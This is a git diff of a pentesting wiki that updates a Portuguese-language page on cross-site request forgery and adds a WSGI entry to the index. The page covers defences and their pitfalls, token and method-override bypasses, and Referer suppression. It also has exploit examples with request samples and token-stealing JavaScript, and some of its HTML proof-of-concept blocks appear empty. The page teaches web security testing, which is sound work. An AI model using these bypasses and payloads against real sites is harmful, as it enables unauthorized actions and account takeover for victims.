diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4c7d77d24..ff94a56ed 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -487,6 +487,7 @@ - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) + - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index f2cf6a25f..fffb7f6b0 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -4,49 +4,56 @@ ## Cross-Site Request Forgery (CSRF) Explained -**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima por meio de métodos como executar JavaScript, submeter formulários ou carregar imagens. +**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Permite que atacantes realizem ações em nome de usuários desprevenidos explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima através de métodos como execução de JavaScript, submissão de forms ou carregamento de imagens. ### Prerequisites for a CSRF Attack Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas: -1. **Identify a Valuable Action**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, o email ou elevar privilégios. -2. **Session Management**: A sessão do usuário deve ser gerida exclusivamente através de cookies ou do HTTP Basic Authentication header, pois outros headers não podem ser manipulados para esse propósito. +1. **Identify a Valuable Action**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, email ou elevar privilégios. +2. **Session Management**: A sessão do usuário deve ser gerida exclusivamente por cookies ou pelo cabeçalho HTTP Basic Authentication, já que outros cabeçalhos não podem ser manipulados para esse propósito. 3. **Absence of Unpredictable Parameters**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque. ### Quick Check -Você pode **capturar a requisição no Burp** e checar as proteções CSRF e, para testar a partir do navegador, você pode clicar em **Copy as fetch** e verificar a requisição: +Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e, para testar a partir do navegador, você pode clicar em **Copy as fetch** e verificar a requisição:
### Defending Against CSRF -Diversas contramedidas podem ser implementadas para proteger contra ataques CSRF: +Várias contramedidas podem ser implementadas para proteger contra ataques CSRF: -- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Esse atributo impede que o navegador envie cookies junto com requisições cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). -- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer leitura da resposta do site da vítima. [Learn about CORS bypass](cors-bypass.md). -- **Verificação do usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário. -- **Verificar os cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições vêm de fontes confiáveis. Entretanto, a construção cuidadosa de URLs pode contornar verificações mal implementadas, por exemplo: - - Usando `http://mal.net?orig=http://example.com` (a URL termina com a URL confiável) - - Usando `http://example.com.mal.net` (a URL começa com a URL confiável) -- **Modificar nomes de parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados. -- **CSRF Tokens**: Incorporar um CSRF token único em cada sessão e exigir esse token nas requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada aplicando CORS. +- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Esse atributo impede que o browser envie cookies junto com requisições cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). +- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer ler a resposta do site vítima. [Learn about CORS bypass](cors-bypass.md). +- **User Verification**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário. +- **Checking Referrer or Origin Headers**: Validar esses cabeçalhos pode ajudar a garantir que as requisições venham de fontes confiáveis. Entretanto, craftings cuidadosos de URLs podem contornar checagens mal implementadas, tais como: +- Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável) +- Usar `http://example.com.mal.net` (URL começa com a URL confiável) +- **Modifying Parameter Names**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados. +- **CSRF Tokens**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A efetividade do token pode ser aumentada aplicando CORS. -Entender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web. +Entender e implementar essas defesas é crucial para manter a segurança e integridade de aplicações web. + +#### Common pitfalls of defenses + +- SameSite pitfalls: `SameSite=Lax` ainda permite navegações top-level cross-site como links e form GETs, então muitos CSRFs baseados em GET permanecem possíveis. Veja a matriz de cookies em [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite). +- Header checks: Valide `Origin` quando presente; se ambos `Origin` e `Referer` estiverem ausentes, falhe fechado. Não confie em correspondências por substring/regex de `Referer` que podem ser contornadas com domínios parecidos ou URLs craftadas, e note o truque de supressão `meta name="referrer" content="never"`. +- Method overrides: Trate métodos sobrescritos (`_method` ou override headers) como alteração de estado e aplique CSRF no método efetivo, não apenas no POST. +- Login flows: Aplique proteções CSRF também ao login; caso contrário, login CSRF permite reautenticação forçada em contas controladas pelo atacante, que pode ser encadeada com stored XSS. ## Defences Bypass ### From POST to GET (method-conditioned CSRF validation bypass) -Algumas aplicações aplicam validação CSRF apenas em POST enquanto a ignoram para outros verbs. Um anti-pattern comum em PHP se parece com: +Algumas aplicações só aplicam validação CSRF no POST enquanto a pulam para outros verbs. Um anti-pattern comum em PHP se parece com: ```php public function csrf_check($fatal = true) { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF // ... validate __csrf_token here ... } ``` -Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação POST-only em uma ação GET que tem sucesso sem um token. +Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação que deveria ser apenas POST em uma ação GET que tem sucesso sem um token. Exemplo: @@ -65,48 +72,88 @@ __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] HTTP/1.1 ``` -Notas: -- Esse padrão aparece frequentemente junto com reflected XSS quando as respostas são servidas incorretamente como text/html em vez de application/json. -- Combinar isso com XSS reduz muito as barreiras de exploração porque você pode entregar um único link GET que tanto aciona o caminho de código vulnerável quanto evita completamente as checagens CSRF. +Notes: +- Esse padrão aparece frequentemente junto com reflected XSS quando respostas são servidas incorretamente como text/html em vez de application/json. +- Combiná-lo com XSS reduz muito as barreiras de exploração porque você pode entregar um único GET link que tanto dispara o caminho de código vulnerável quanto evita completamente as verificações CSRF. ### Falta de token -Aplicações podem implementar um mecanismo para **validar tokens** quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token está ausente. Um atacante pode explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e conduzir um Cross-Site Request Forgery (CSRF) de forma eficaz. +Aplicações podem implementar um mecanismo para **validar tokens** quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for totalmente ignorada quando o token está ausente. Atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e realizar um Cross-Site Request Forgery (CSRF) com eficácia. -### CSRF token is not tied to the user session +Além disso, algumas implementações apenas verificam que o parâmetro existe mas não validam seu conteúdo, então um **valor de token vazio é aceito**. Nesse caso, simplesmente enviar a requisição com `csrf=` é suficiente: +```http +POST /admin/users/role HTTP/2 +Host: example.com +Content-Type: application/x-www-form-urlencoded -Aplicações que **não vinculam tokens CSRF às sessões dos usuários** apresentam um **risco de segurança** significativo. Esses sistemas verificam tokens contra uma **pool global** em vez de garantir que cada token esteja ligado à sessão que o originou. +username=guest&role=admin&csrf= +``` +PoC mínimo de auto-submissão (ocultando a navegação com history.pushState): +```html + + +
+ + + + +
+ + + +``` +### CSRF token não está vinculado à sessão do usuário -Veja como atacantes exploram isso: +Aplicações **que não vinculam CSRF tokens às sessões do usuário** representam um **risco de segurança** significativo. Esses sistemas verificam tokens contra um **pool global** em vez de garantir que cada token esteja ligado à sessão que o iniciou. -1. **Autenticar** usando sua própria conta. -2. **Obter um token CSRF válido** da pool global. -3. **Usar esse token** em um ataque CSRF contra a vítima. +Eis como atacantes exploram isso: -Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo inadequado de validação de tokens** da aplicação. +1. **Autenticar-se** usando a própria conta. +2. **Obter um CSRF token válido** do pool global. +3. **Usar esse token** em um ataque CSRF contra uma vítima. -### Method bypass +Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação. -Se a requisição estiver usando um **método "estranho"**, verifique se a **funcionalidade de override de método** está funcionando. Por exemplo, se estiver **usando um PUT** você pode tentar **usar um POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +### Bypass de método -Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **headers**: +Se a requisição estiver usando um **método "estranho"**, verifique se a funcionalidade de **method override** está funcionando. Por exemplo, se estiver usando um método **PUT/DELETE/PATCH** você pode tentar usar **POST** e enviar um override, ex.: `https://example.com/my/dear/api/val/num?_method=PUT`. -- _X-HTTP-Method_ -- _X-HTTP-Method-Override_ -- _X-Method-Override_ +Isso também pode funcionar enviando o **parâmetro `_method` dentro do corpo de um POST** ou usando cabeçalhos de override: +- `X-HTTP-Method` +- `X-HTTP-Method-Override` +- `X-Method-Override` + +Comum em frameworks como **Laravel**, **Symfony**, **Express** e outros. Desenvolvedores às vezes pulam CSRF em verbos não-POST assumindo que navegadores não podem emiti-los; com overrides, você ainda pode alcançar esses handlers via POST. + +Exemplo de requisição e PoC HTML: +```http +POST /users/delete HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded + +username=admin&_method=DELETE +``` + +```html +
+ + + +
+``` ### Custom header token bypass -Se a requisição estiver adicionando um **header customizado** com um **token** como **método de proteção CSRF**, então: +Se a requisição estiver adicionando um **custom header** com um **token** na solicitação como **CSRF protection method**, então: -- Teste a requisição sem o **Token Customizado e também sem o header.** -- Teste a requisição com um token diferente, de **mesmo comprimento**. +- Teste a requisição sem o **Customized Token and also header.** +- Teste a requisição com exatamente **same length but different token**. ### CSRF token is verified by a cookie -Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um parâmetro de requisição, ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições checando se o token no parâmetro da requisição coincide com o valor do cookie. +Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um request parameter, ou definindo um CSRF cookie e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida as requisições verificando se o token no request parameter corresponde ao valor no cookie. -No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida de iniciar o ataque CSRF. +No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um CSRF cookie no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida do início do ataque CSRF. Abaixo está um exemplo de como um ataque pode ser estruturado: ```html @@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" /> ``` > [!TIP] -> Observe que se o **csrf token estiver relacionado com a session cookie este ataque não funcionará** porque você precisará definir para a vítima a sua session, e portanto estará atacando a si mesmo. +> Note que se o **csrf token estiver relacionado com o session cookie este ataque não funcionará** porque você terá que definir a sessão da vítima para a sua, e portanto estará atacando a si mesmo. ### Alteração do Content-Type -De acordo com [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **avoid preflight** requisições usando o método **POST** estes são os valores de Content-Type permitidos: +De acordo com [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar preflight** requisições usando o método **POST** estes são os valores de Content-Type permitidos: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** -No entanto, note que a **lógica do servidor pode variar** dependendo do **Content-Type** usado então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ +No entanto, note que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado então você deve testar os valores mencionados e outros like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ -Exemplo (de [here](https://brycec.me/posts/corctf_2021_challenges)) de enviar dados JSON como text/plain: +Exemplo (a partir de [here](https://brycec.me/posts/corctf_2021_challenges)) de enviar dados JSON como text/plain: ```html @@ -166,19 +213,19 @@ form.submit() Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. Ainda assim, existem estratégias para possivelmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type: -1. **Use Alternative Content Types**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no form. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type. -2. **Modify Content Type**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitar `application/json`. -3. **SWF Flash File Utilization**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar essas restrições. Para um entendimento mais aprofundado dessa técnica, consulte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +1. **Use Alternative Content Types**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no form. Esta abordagem testa se o backend utiliza os dados independentemente do Content-Type. +2. **Modify Content Type**: Para evitar uma requisição preflight ao mesmo tempo que garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isto não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitar `application/json`. +3. **SWF Flash File Utilization**: Um método menos comum, mas viável, envolve usar um arquivo SWF/Flash para contornar tais restrições. Para um entendimento aprofundado desta técnica, consulte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). -### Contorno da verificação Referrer / Origin +### Contorno da verificação de Referrer / Origin **Evitar o cabeçalho Referrer** -Aplicações podem validar o 'Referer' header apenas quando ele está presente. Para impedir que o navegador envie esse header, a seguinte meta tag HTML pode ser usada: +Aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para impedir que o navegador envie esse cabeçalho, a seguinte meta tag HTML pode ser usada: ```xml ``` -Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações. +Isto garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações. **Regexp bypasses** @@ -187,7 +234,7 @@ Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -Para definir o nome de domínio do servidor no URL que o Referrer vai enviar dentro dos parâmetros você pode fazer: +Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer: ```html @@ -216,17 +263,52 @@ document.forms[0].submit() ``` -### **Bypass do método HEAD** +### **HEAD method bypass** -A primeira parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), um router, está configurado para **handle HEAD requests as GET requests** sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lide com requisições HEAD, elas são simplesmente entregues ao manipulador GET, mas a aplicação apenas remove o corpo da resposta. +A primeira parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), um router está configurado para **handle HEAD requests as GET requests** sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um handler específico que trata HEAD reqs, elas são simplesmente **given to the GET handler but the app just removes the response body**. -Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**. +Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **send a HEAD request that will be processed as a GET request**. -## **Exemplos de Exploração** +## **Exploit Examples** -### **Exfiltrando token CSRF** +### Stored CSRF via user-generated HTML -Se um **CSRF token** está sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou de uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). +Quando editores rich-text ou injeção de HTML são permitidos, você pode persistir um fetch passivo que aciona um endpoint GET vulnerável. Qualquer usuário que visualizar o conteúdo realizará automaticamente a requisição com seus cookies. + +- Se a app usa um global CSRF token que não está vinculado à sessão do usuário, o mesmo token pode funcionar para todos os usuários, tornando stored CSRF confiável entre vítimas. + +Minimal example that changes the viewer’s email when loaded: +```html + +``` +### Login CSRF encadeado com stored XSS + +Login CSRF por si só pode ter baixo impacto, mas encadeá-lo com um stored XSS executado em contexto autenticado torna-se poderoso: forçar a vítima a autenticar-se em uma conta controlada pelo atacante; uma vez nesse contexto, um stored XSS em uma página autenticada é executado e pode roubar tokens, hijack the session, ou escalar privilégios. + +- Certifique-se de que o login endpoint seja CSRF-able (sem per-session token ou origin check) e que não existam user interaction gates que o bloqueiem. +- Após o login forçado, navegue automaticamente até uma página que contenha o payload de stored XSS do atacante. + +Minimal login-CSRF PoC: +```html + + +
+ + + +
+ + + +``` +### **Exfiltrando CSRF Token** + +Se um **CSRF token** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou de uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). ### **GET usando tags HTML** ```xml @@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit ``` -### Requisição POST de formulário através de iframe +### Requisição POST de Form através de iframe ```html @@ -426,7 +508,7 @@ document.getElementById("formulario").submit() ``` -### **Roubar CSRF Token e enviar uma requisição POST** +### **Roubar CSRF Token e enviar um POST request** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` -### **Roubar CSRF Token e enviar uma requisição Post usando um iframe, um form e Ajax** +### **Roubar o CSRF Token e enviar uma requisição POST usando um iframe, um form e Ajax** ```html ``` -### **POSTSteal CSRF token com Ajax e enviar um post com um form** +### **POSTSteal CSRF token com Ajax e enviar um POST com um form** ```html